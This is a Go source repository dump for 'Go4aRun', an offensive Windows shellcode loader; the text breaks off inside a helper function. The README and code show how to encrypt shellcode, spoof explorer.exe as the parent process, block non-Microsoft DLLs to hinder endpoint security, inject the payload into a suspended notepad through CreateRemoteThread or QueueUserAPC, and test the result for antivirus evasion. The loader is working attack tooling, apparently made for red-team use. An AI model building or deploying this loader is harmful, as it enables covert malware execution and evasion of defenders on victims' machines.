├── LICENSE ├── README.md ├── cmd ├── hide │ └── hideit.go └── run │ └── Go4it.go └── pkg ├── shelly └── shelly.go ├── sliversyscalls └── syscalls │ ├── syscalls.go │ ├── syscalls_windows.go │ ├── types_windows.go │ └── zsyscalls_windows.go ├── useful └── useful.go └── winsys ├── constants.go ├── inject.go ├── models.go ├── token.go └── winmods.go /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, D00MFist 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Go4aRun 2 | 3 | ## Usage: 4 | 5 | 1. Change the desired passphrase used in encryption in hideit.go and Go4it.go 6 | 2. Change the behavior options in Go4it.go 7 | * Change block dll behavior: between "not allowing non-MS" and "only store" through nonms and onlystore variables 8 | * Change parentName variable to change spoofed parent 9 | * Change programPath variable to change process launched by parent which shellcode will inject into 10 | * Change creationFlags to change launch behavior of programPath variable 11 | * Select a Process Injection Method by comment/uncommenting the sections CreateRemoteThread or QueueUserAPC 12 | 3. Run hideit (either build or go run) and select the raw shellcode file 13 | 4. The script should save the encrypted shellcode in the shelly.go file in pkg/shelly (if not move manually to pkg/shelly) 14 | 5. Build Go4it.go (e.g: GOOS=windows GOARCH=amd64 go build -ldflags="-H=windowsgui -s -w" Go4it.go) 15 | 6. Compress: upx --brute Go4it.exe 16 | 7. Run through DefenderCheck (https://github.com/matterpreter/DefenderCheck) 17 | 18 | ## Related Blog Posts: 19 | * https://posts.specterops.io/going-4-a-run-eb263838b944 20 | * https://posts.specterops.io/going-4-a-hunt-66c9f0d7f32c 21 | 22 | ## References/ Resources: 23 | * www.thepolyglotdeveloper.com/2018/02/encrypt-decrypt-data-golang-application-crypto-packages/ 24 | * https://medium.com/syscall59/a-trinity-of-shellcode-aes-go-f6cec854f992 25 | * https://ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes 26 | * https://gist.github.com/rvrsh3ll/1e66f0f2c7103ff8709e5fd63ca346ac 27 | * https://github.com/BishopFox/sliver 28 | * https://github.com/bluesentinelsec/OffensiveGoLang 29 | * https://github.com/djhohnstein/CSharpCreateThreadExample 30 | * https://github.com/Ne0nd0g/merlin 31 | -------------------------------------------------------------------------------- /cmd/hide/hideit.go: -------------------------------------------------------------------------------- 1 | //package hideit 2 | package main 3 | 4 | import ( 5 | b64 "encoding/base64" 6 | "encoding/hex" 7 | "fmt" 8 | "Go4aRun/pkg/useful" 9 | "io/ioutil" 10 | //"log" 11 | "os" 12 | "strconv" 13 | ) 14 | 15 | //Encrypts shellcode and stores as a go file to be leveraged in Go4it.go build 16 | // Example passphrase is D00mfist 17 | 18 | func main() { 19 | if len(os.Args) < 2 { 20 | fmt.Println("Please select a shellcode file. (E.g.: hideit beacon.bin)") 21 | return 22 | } 23 | filename := os.Args[1] 24 | payload, err := ioutil.ReadFile(filename) 25 | if err != nil { 26 | fmt.Println(err) 27 | } 28 | 29 | encode := b64.StdEncoding.EncodeToString(payload) 30 | hexencode := hex.EncodeToString([]byte(encode)) 31 | ciphertext := useful.Encrypt([]byte(hexencode), "D00mfist") 32 | hexcipher := hex.EncodeToString(ciphertext) 33 | 34 | f, err := os.Create("shelly.go") 35 | if err != nil { 36 | fmt.Println(err) 37 | return 38 | } 39 | defer f.Close() 40 | a, err := os.OpenFile("shelly.go", os.O_WRONLY|os.O_APPEND, 0644) 41 | a.WriteString("package shelly\n" + "var Sc =" + strconv.Quote(hexcipher)) 42 | if err != nil { 43 | fmt.Println(err) 44 | return 45 | } 46 | useful.MoveFile("shelly.go", "../../pkg/shelly/shelly.go") 47 | 48 | fmt.Println("Encrypted Shellcode Written to shelly.go. It should be already placed at Go4aRun\\pkg\\shelly\\shelly.go \nIf not then manually place there before building Go4it") 49 | 50 | } -------------------------------------------------------------------------------- /cmd/run/Go4it.go: -------------------------------------------------------------------------------- 1 | //GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" Go4it.go 2 | //upx --brute Go4it.exe 3 | 4 | package main 5 | 6 | import ( 7 | "Go4aRun/pkg/shelly" 8 | syscalls "Go4aRun/pkg/sliversyscalls/syscalls" 9 | "Go4aRun/pkg/useful" 10 | b64 "encoding/base64" 11 | "encoding/hex" 12 | "golang.org/x/sys/windows" 13 | "log" 14 | "unsafe" 15 | ) 16 | 17 | func main() { 18 | 19 | // Change block dll behavior: between "not allowing non-MS" and "only store" through nonms and onlystore vars 20 | // Change parentName var to change spoofed parent 21 | // Change programPath var to change process launched by parent which shellcode will inject into 22 | // Change creationFlags to change behavior of programPath var launching 23 | // Select a Proc Injection Method by comment/uncommenting the sections CreateRemoteThread or QueueUserAPC 24 | 25 | //Enum and get the pid of specified process 26 | procThreadAttributeSize := uintptr(0) 27 | syscalls.InitializeProcThreadAttributeList(nil, 2, 0, &procThreadAttributeSize) 28 | procHeap, err := syscalls.GetProcessHeap() 29 | attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize) 30 | defer syscalls.HeapFree(procHeap, 0, attributeList) 31 | var startupInfo syscalls.StartupInfoEx 32 | startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList)) 33 | syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 2, 0, &procThreadAttributeSize) 34 | mitigate := 0x20007 //"PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY" 35 | 36 | //Options for Block Dlls 37 | nonms := uintptr(0x100000000000) //"PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON" 38 | //onlystore := uintptr(0x300000000000) //"BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE" 39 | 40 | //Update to block dlls 41 | syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, uintptr(mitigate), &nonms, unsafe.Sizeof(nonms), 0, nil) 42 | 43 | //Search for intended Spoofed Parent process 44 | procs, err := useful.Processes() 45 | if err != nil { 46 | log.Fatal(err) 47 | } 48 | parentName := "explorer.exe" //Name of Spoofed Parent 49 | ParentInfo := useful.FindProcessByName(procs, parentName) 50 | if ParentInfo != nil { 51 | // found it 52 | 53 | //Spoof 54 | ppid := uint32(ParentInfo.ProcessID) 55 | parentHandle, _ := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid) 56 | uintParentHandle := uintptr(parentHandle) 57 | syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil) 58 | 59 | var procInfo windows.ProcessInformation 60 | startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo)) 61 | startupInfo.Flags |= windows.STARTF_USESHOWWINDOW 62 | //startupInfo.ShowWindow = windows.SW_HIDE 63 | creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT 64 | //creationFlags := windows.CREATE_SUSPENDED | windows.EXTENDED_STARTUPINFO_PRESENT 65 | //creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT 66 | //creationFlags := windows.EXTENDED_STARTUPINFO_PRESENT 67 | programPath := "c:\\windows\\system32\\notepad.exe" 68 | utfProgramPath, _ := windows.UTF16PtrFromString(programPath) 69 | syscalls.CreateProcess(nil, utfProgramPath, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo) 70 | 71 | // Decode shellcode 72 | hex2str, _ := hex.DecodeString(shelly.Sc) 73 | shellc := useful.Decrypt([]byte(hex2str), "D00mfist") 74 | cspay, _ := hex.DecodeString(string(shellc)) 75 | decode, _ := b64.StdEncoding.DecodeString(string(cspay)) 76 | 77 | // Inject into Process 78 | injectinto := int(procInfo.ProcessId) 79 | 80 | //Choose A Proc Injection Method// 81 | 82 | //CreateRemoteThread 83 | var Proc, R_Addr, F = useful.WriteShellcode(injectinto, decode) 84 | useful.ShellCodeCreateRemoteThread(Proc, R_Addr, F) 85 | 86 | //QueueUserAPC 87 | //var victimHandle = procInfo.Thread 88 | //var _, R_Addr, _ = useful.WriteShellcode(injectinto, decode) 89 | //useful.EBAPCQueue(R_Addr,victimHandle) 90 | } 91 | 92 | } 93 | -------------------------------------------------------------------------------- /pkg/shelly/shelly.go: -------------------------------------------------------------------------------- 1 | package shelly 2 | 3 | var Sc = "Placeholder Run hideit first" 4 | -------------------------------------------------------------------------------- /pkg/sliversyscalls/syscalls/syscalls.go: -------------------------------------------------------------------------------- 1 | package syscalls -------------------------------------------------------------------------------- /pkg/sliversyscalls/syscalls/syscalls_windows.go: -------------------------------------------------------------------------------- 1 | package syscalls 2 | 3 | //go:generate go run $GOPATH/src/golang.org/x/sys/windows/mkwinsyscall -output zsyscall_windows.go syscall_windows.go 4 | 5 | //sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList 6 | //sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap 7 | //sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc 8 | //sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute 9 | //sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW 10 | //sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx 11 | //sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory 12 | //sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx 13 | //sys QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) = kernel32.QueueUserAPC 14 | //sys DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST) = kernel32.DeleteProcThreadAttributeList 15 | //sys HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) = kernel32.HeapFree 16 | //sys CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32)(threadHandle windows.Handle, err error) = kernel32.CreateRemoteThread 17 | //sys CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32)(threadHandle windows.Handle, err error) = kernel32.CreateThread 18 | //sys GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) = kernel32.GetExitCodeThread 19 | 20 | //sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgHelp.MiniDumpWriteDump 21 | //sys ImpersonateLoggedOnUser(hToken windows.Token) (err error) = advapi32.ImpersonateLoggedOnUser -------------------------------------------------------------------------------- /pkg/sliversyscalls/syscalls/types_windows.go: -------------------------------------------------------------------------------- 1 | package syscalls 2 | 3 | import ( 4 | "golang.org/x/sys/windows" 5 | ) 6 | 7 | const ( 8 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000 9 | ) 10 | 11 | type StartupInfoEx struct { 12 | windows.StartupInfo 13 | AttributeList *PROC_THREAD_ATTRIBUTE_LIST 14 | } 15 | 16 | type PROC_THREAD_ATTRIBUTE_LIST struct { 17 | dwFlags uint32 18 | size uint64 19 | count uint64 20 | reserved uint64 21 | unknown *uint64 22 | entries []*PROC_THREAD_ATTRIBUTE_ENTRY 23 | } 24 | 25 | type PROC_THREAD_ATTRIBUTE_ENTRY struct { 26 | attribute *uint32 27 | cbSize uintptr 28 | lpValue uintptr 29 | } -------------------------------------------------------------------------------- /pkg/sliversyscalls/syscalls/zsyscalls_windows.go: -------------------------------------------------------------------------------- 1 | // Code generated by 'go generate'; DO NOT EDIT. 2 | 3 | package syscalls 4 | 5 | import ( 6 | "syscall" 7 | "unsafe" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | var _ unsafe.Pointer 13 | 14 | // Do the interface allocations only once for common 15 | // Errno values. 16 | const ( 17 | errnoERROR_IO_PENDING = 997 18 | ) 19 | 20 | var ( 21 | errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING) 22 | ) 23 | 24 | // errnoErr returns common boxed Errno values, to prevent 25 | // allocations at runtime. 26 | func errnoErr(e syscall.Errno) error { 27 | switch e { 28 | case 0: 29 | return nil 30 | case errnoERROR_IO_PENDING: 31 | return errERROR_IO_PENDING 32 | } 33 | // TODO: add more here, after collecting data on the common 34 | // error values see on Windows. (perhaps when running 35 | // all.bat?) 36 | return e 37 | } 38 | 39 | var ( 40 | modkernel32 = windows.NewLazySystemDLL("kernel32.dll") 41 | modDbgHelp = windows.NewLazySystemDLL("DbgHelp.dll") 42 | modadvapi32 = windows.NewLazySystemDLL("advapi32.dll") 43 | 44 | procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList") 45 | procGetProcessHeap = modkernel32.NewProc("GetProcessHeap") 46 | procHeapAlloc = modkernel32.NewProc("HeapAlloc") 47 | procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute") 48 | procCreateProcessW = modkernel32.NewProc("CreateProcessW") 49 | procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx") 50 | procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory") 51 | procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx") 52 | procQueueUserAPC = modkernel32.NewProc("QueueUserAPC") 53 | procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList") 54 | procHeapFree = modkernel32.NewProc("HeapFree") 55 | procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread") 56 | procCreateThread = modkernel32.NewProc("CreateThread") 57 | procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread") 58 | procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump") 59 | procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser") 60 | ) 61 | 62 | func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) { 63 | r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0) 64 | if r1 == 0 { 65 | if e1 != 0 { 66 | err = errnoErr(e1) 67 | } else { 68 | err = syscall.EINVAL 69 | } 70 | } 71 | return 72 | } 73 | 74 | func GetProcessHeap() (procHeap windows.Handle, err error) { 75 | r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0) 76 | procHeap = windows.Handle(r0) 77 | if procHeap == 0 { 78 | if e1 != 0 { 79 | err = errnoErr(e1) 80 | } else { 81 | err = syscall.EINVAL 82 | } 83 | } 84 | return 85 | } 86 | 87 | func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) { 88 | r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes)) 89 | lpMem = uintptr(r0) 90 | if lpMem == 0 { 91 | if e1 != 0 { 92 | err = errnoErr(e1) 93 | } else { 94 | err = syscall.EINVAL 95 | } 96 | } 97 | return 98 | } 99 | 100 | func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) { 101 | r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0) 102 | if r1 == 0 { 103 | if e1 != 0 { 104 | err = errnoErr(e1) 105 | } else { 106 | err = syscall.EINVAL 107 | } 108 | } 109 | return 110 | } 111 | 112 | func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) { 113 | var _p0 uint32 114 | if inheritHandles { 115 | _p0 = 1 116 | } else { 117 | _p0 = 0 118 | } 119 | r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0) 120 | if r1 == 0 { 121 | if e1 != 0 { 122 | err = errnoErr(e1) 123 | } else { 124 | err = syscall.EINVAL 125 | } 126 | } 127 | return 128 | } 129 | 130 | func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) { 131 | r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0) 132 | addr = uintptr(r0) 133 | if addr == 0 { 134 | if e1 != 0 { 135 | err = errnoErr(e1) 136 | } else { 137 | err = syscall.EINVAL 138 | } 139 | } 140 | return 141 | } 142 | 143 | func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) { 144 | r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0) 145 | if r1 == 0 { 146 | if e1 != 0 { 147 | err = errnoErr(e1) 148 | } else { 149 | err = syscall.EINVAL 150 | } 151 | } 152 | return 153 | } 154 | 155 | func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) { 156 | r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0) 157 | if r1 == 0 { 158 | if e1 != 0 { 159 | err = errnoErr(e1) 160 | } else { 161 | err = syscall.EINVAL 162 | } 163 | } 164 | return 165 | } 166 | 167 | func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) { 168 | r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData)) 169 | if r1 == 0 { 170 | if e1 != 0 { 171 | err = errnoErr(e1) 172 | } else { 173 | err = syscall.EINVAL 174 | } 175 | } 176 | return 177 | } 178 | 179 | func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST) { 180 | syscall.Syscall(procDeleteProcThreadAttributeList.Addr(), 1, uintptr(unsafe.Pointer(lpAttributeList)), 0, 0) 181 | return 182 | } 183 | 184 | func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) { 185 | r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem)) 186 | if r1 == 0 { 187 | if e1 != 0 { 188 | err = errnoErr(e1) 189 | } else { 190 | err = syscall.EINVAL 191 | } 192 | } 193 | return 194 | } 195 | 196 | func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) { 197 | r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0) 198 | threadHandle = windows.Handle(r0) 199 | if threadHandle == 0 { 200 | if e1 != 0 { 201 | err = errnoErr(e1) 202 | } else { 203 | err = syscall.EINVAL 204 | } 205 | } 206 | return 207 | } 208 | 209 | func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) { 210 | r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId))) 211 | threadHandle = windows.Handle(r0) 212 | if threadHandle == 0 { 213 | if e1 != 0 { 214 | err = errnoErr(e1) 215 | } else { 216 | err = syscall.EINVAL 217 | } 218 | } 219 | return 220 | } 221 | 222 | func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) { 223 | r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0) 224 | if r1 == 0 { 225 | if e1 != 0 { 226 | err = errnoErr(e1) 227 | } else { 228 | err = syscall.EINVAL 229 | } 230 | } 231 | return 232 | } 233 | 234 | func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) { 235 | r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0) 236 | if r1 == 0 { 237 | if e1 != 0 { 238 | err = errnoErr(e1) 239 | } else { 240 | err = syscall.EINVAL 241 | } 242 | } 243 | return 244 | } 245 | 246 | func ImpersonateLoggedOnUser(hToken windows.Token) (err error) { 247 | r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0) 248 | if r1 == 0 { 249 | if e1 != 0 { 250 | err = errnoErr(e1) 251 | } else { 252 | err = syscall.EINVAL 253 | } 254 | } 255 | return 256 | } -------------------------------------------------------------------------------- /pkg/useful/useful.go: -------------------------------------------------------------------------------- 1 | package useful 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/md5" 7 | "crypto/rand" 8 | "encoding/hex" 9 | "errors" 10 | windows "golang.org/x/sys/windows" 11 | "io" 12 | "os" 13 | "strings" 14 | "syscall" 15 | "unsafe" 16 | ) 17 | 18 | //Encrypt Functions 19 | 20 | func createHash(key string) []byte { 21 | hasher := md5.New() 22 | hasher.Write([]byte(key)) 23 | slice := []byte(hex.EncodeToString(hasher.Sum(nil))) 24 | return slice 25 | } 26 | 27 | func Encrypt(data []byte, passphrase string) []byte { 28 | block, _ := aes.NewCipher([]byte(createHash(passphrase))) 29 | gcm, err := cipher.NewGCM(block) 30 | if err != nil { 31 | panic(err.Error()) 32 | } 33 | nonce := make([]byte, gcm.NonceSize()) 34 | if _, err = io.ReadFull(rand.Reader, nonce); err != nil { 35 | panic(err.Error()) 36 | } 37 | ciphertext := gcm.Seal(nonce, nonce, data, nil) 38 | return ciphertext 39 | } 40 | 41 | func Decrypt(data []byte, passphrase string) []byte { 42 | key := []byte(createHash(passphrase)) 43 | block, err := aes.NewCipher(key) 44 | if err != nil { 45 | panic(err.Error()) 46 | } 47 | gcm, err := cipher.NewGCM(block) 48 | if err != nil { 49 | panic(err.Error()) 50 | } 51 | nonceSize := gcm.NonceSize() 52 | nonce, ciphertext := data[:nonceSize], data[nonceSize:] 53 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 54 | if err != nil { 55 | panic(err.Error()) 56 | } 57 | return plaintext 58 | } 59 | 60 | // Process Functions 61 | // Needed to enum process to get pid of process we want to spoof 62 | const TH32CS_SNAPPROCESS = 0x00000002 63 | 64 | // WindowsProcess is an implementation of Process for Windows. 65 | type WindowsProcess struct { 66 | ProcessID int 67 | ParentProcessID int 68 | Exe string 69 | } 70 | 71 | func Processes() ([]WindowsProcess, error) { 72 | handle, err := syscall.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 73 | if err != nil { 74 | return nil, err 75 | } 76 | defer syscall.CloseHandle(handle) 77 | 78 | var entry syscall.ProcessEntry32 79 | entry.Size = uint32(unsafe.Sizeof(entry)) 80 | // get the first process 81 | err = syscall.Process32First(handle, &entry) 82 | if err != nil { 83 | return nil, err 84 | } 85 | 86 | results := make([]WindowsProcess, 0, 50) 87 | for { 88 | results = append(results, newWindowsProcess(&entry)) 89 | 90 | err = syscall.Process32Next(handle, &entry) 91 | if err != nil { 92 | // windows sends ERROR_NO_MORE_FILES on last process 93 | if err == syscall.ERROR_NO_MORE_FILES { 94 | return results, nil 95 | } 96 | return nil, err 97 | } 98 | } 99 | } 100 | 101 | func FindProcessByName(processes []WindowsProcess, name string) *WindowsProcess { 102 | for _, p := range processes { 103 | if strings.ToLower(p.Exe) == strings.ToLower(name) { 104 | return &p 105 | } 106 | } 107 | return nil 108 | } 109 | 110 | func newWindowsProcess(e *syscall.ProcessEntry32) WindowsProcess { 111 | // Find when the string ends for decoding 112 | end := 0 113 | for { 114 | if e.ExeFile[end] == 0 { 115 | break 116 | } 117 | end++ 118 | } 119 | 120 | return WindowsProcess{ 121 | ProcessID: int(e.ProcessID), 122 | ParentProcessID: int(e.ParentProcessID), 123 | Exe: syscall.UTF16ToString(e.ExeFile[:end]), 124 | } 125 | } 126 | 127 | const ( 128 | MEM_COMMIT = 0x1000 129 | MEM_RESERVE = 0x2000 130 | PAGE_EXECUTE_READWRITE = 0x40 131 | PROCESS_CREATE_THREAD = 0x0002 132 | PROCESS_QUERY_INFORMATION = 0x0400 133 | PROCESS_VM_OPERATION = 0x0008 134 | PROCESS_VM_WRITE = 0x0020 135 | PROCESS_VM_READ = 0x0010 136 | ) 137 | 138 | var ( 139 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 140 | VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") 141 | WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory") 142 | OpenProcess = kernel32.MustFindProc("OpenProcess") 143 | WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 144 | CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread") 145 | QueueUserAPC = kernel32.MustFindProc("QueueUserAPC") 146 | ) 147 | 148 | func WriteShellcode(PID int, Shellcode []byte) (uintptr, uintptr, int) { 149 | var F int = 